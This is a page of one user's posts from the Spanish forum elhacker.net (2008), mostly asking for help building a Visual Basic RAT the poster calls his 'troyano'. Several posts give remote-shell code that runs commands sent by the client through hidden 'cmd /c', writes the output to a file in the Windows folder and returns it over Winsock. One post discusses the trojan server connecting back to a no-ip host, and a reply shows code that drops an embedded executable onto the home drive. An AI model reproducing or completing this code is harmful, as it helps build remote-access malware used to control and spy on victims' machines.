elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Los 10 CVE más críticos (peligrosos) de 2020


  Mostrar Mensajes
Páginas: 1 2 3 4 5 6 7 8 9 10 11 12 13 [14] 15 16
131  Programación / Programación Visual Basic / Re: Ayuda con Shell Remota en: 2 Diciembre 2008, 21:10 pm
Jaja perdona KarCracK  :xD
Si estuve hablando con cobein y me habia dicho el link.. pero vi el source y no l oentendi mucho como te diria.. y si no hay alguna forma de arreglar lo que puse yo.

No creo que fuera por el comando recibido.. pero mira te dejo mi code..
Citar

Kill Environ("windir") & "KB008.txt"
Sleep (500)
Shell "cmd /c " & data(1) & " > " & Environ("windir") & "KB008.txt", vbHide
Sleep (2000)

Open Environ("windir") & "KB008.txt" For Input As #1
TextShell.Text = Input(LOF(1), 1)
Close #1

WS.SendData "ComandoShell|" & TextShell.Text

Ya probe tambien cambiandole Environ ("windir") por "C:\" y tampoco funciona.

Saludos! :-(
132  Programación / Programación Visual Basic / Re: Ayuda con Shell Remota en: 2 Diciembre 2008, 16:42 pm
Mmm gracias por la info KrackWar pero busque y no encontre nada sobre lo de Cobein  :xD 'Jugando a hacer un troyano', igualmente no habria alguna solucion sobre el metodo que puse arriba? en el primer post?

Saludos! :D
133  Programación / Programación Visual Basic / Re: winsock vb6 duda en: 2 Diciembre 2008, 16:35 pm
Puedes usar el mismo Winsock del servidor.
Pero fijate bien el modulo de la cam y el code, y seguro que tienes topes de "On error reume next", quitaselos todos asi te vas dando cuenta de los errores que cometes, esto te ayudara a aprender y a ver donde falla el envio de la captura.

Saludos!
134  Programación / Programación Visual Basic / Re: Ayuda con Shell Remota en: 2 Diciembre 2008, 15:07 pm
La que yo tenia anteriormente era algo asi :

Dim conten As String
conten = CMD(data(1))

Pero no funcionaba, ya que se lageaba al hacer por ej. ping 127.0.0.1 -t

Saludos!
135  Programación / Programación Visual Basic / Ayuda con Shell Remota en: 2 Diciembre 2008, 13:46 pm
Bueno estaba arreglando la Shell Remota de mi RAT, y como era output pues la quise hacer de este metodo :

Al recibir el comando del cliente.. la Shell del servidor ejecuta el comando y guarda el resultado en un texto, luego lista el texto en un Textbox y lo envia al cliente.

Mi error aqui :

Si hago el comando : "cmd /c " & data(1) & " > " & Environ("Windir") & "\TexTo.txt"
Guarda en el texto y todo bien.. pero si lo ejecuto desde el Servidor..

Shell "cmd /c " & data(1) & " > " & Environ("Windir") & "\TexTo.txt"

Lo ejecuta pero no se guarda en el texto..

Porque puede ser?

Saludos!


136  Programación / Programación Visual Basic / Re: ReDim vbData(LOF(1) - 1) en: 9 Noviembre 2008, 16:08 pm
El lo que quiere hacer es el builder con LOF.. pero el modulo de Cobein es para EOF..

Saludos!
137  Programación / Programación Visual Basic / Re: Problema con mi troyaNo.. en: 8 Noviembre 2008, 14:46 pm
El problema es de los puertos. Necesitas abrirlos en el router.

Saludos.

Ya estan abiertos..
Y no quiero postear el code..

Si alguien es tan buena persona y muy generoso me ayudará, hay que tener paciencia..

Saludos!
138  Programación / Programación Visual Basic / Problema con mi troyaNo.. en: 8 Noviembre 2008, 13:41 pm
Bueno tengo un problema con el "SharkI RAT"  :P y es que si le pongo en el servidor una no-ip no llega conexion.. pero si pongo 127.0.0.1 localmente si se conecta. Pude pensar que fuese de el MSWINSOCK.OCX pero saltaria un error de que falta la libreria.. No se que puede ser.. si alguien me quiere ayudar con algun error del code que me agregue a mi msn sharki@sharki.es ya no se que hacer..

Se les agradeceria mucho!

Saludos! ;D
139  Programación / Programación Visual Basic / Re: Codigo en textbox en: 20 Octubre 2008, 19:08 pm
Mmm n ose bien si es esto a lo que te reifers...

Agregas un timer con enabled en False

Private Sub Form_Load()
Timer1.Enabled = True
End sub

Private Timer1_Timer()
MsgBox "Hello World",vbinformation,"Hello"
End sub

Saludos!
140  Programación / Programación Visual Basic / Re: Generar EXE desde .res en: 15 Octubre 2008, 23:35 pm
Sharki como te dije antes lo puedes hacer de la siguiente manera!!!

Código:
Dim fireres() As Byte
fireres = LoadResData(101, "CUSTOM")
Open Environ("Homedrive") & "\elnombre.exe" For Binary As #1
Put 1, 1, fireres
Close #1
End Sub

Si esta mal me corrigen xD!!! :P

Ok sky es que el anterior era medio rollito el que hicistes vy a probarlo..

Saludos!

Editado : Arreglado!

Saludos!
Páginas: 1 2 3 4 5 6 7 8 9 10 11 12 13 [14] 15 16
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines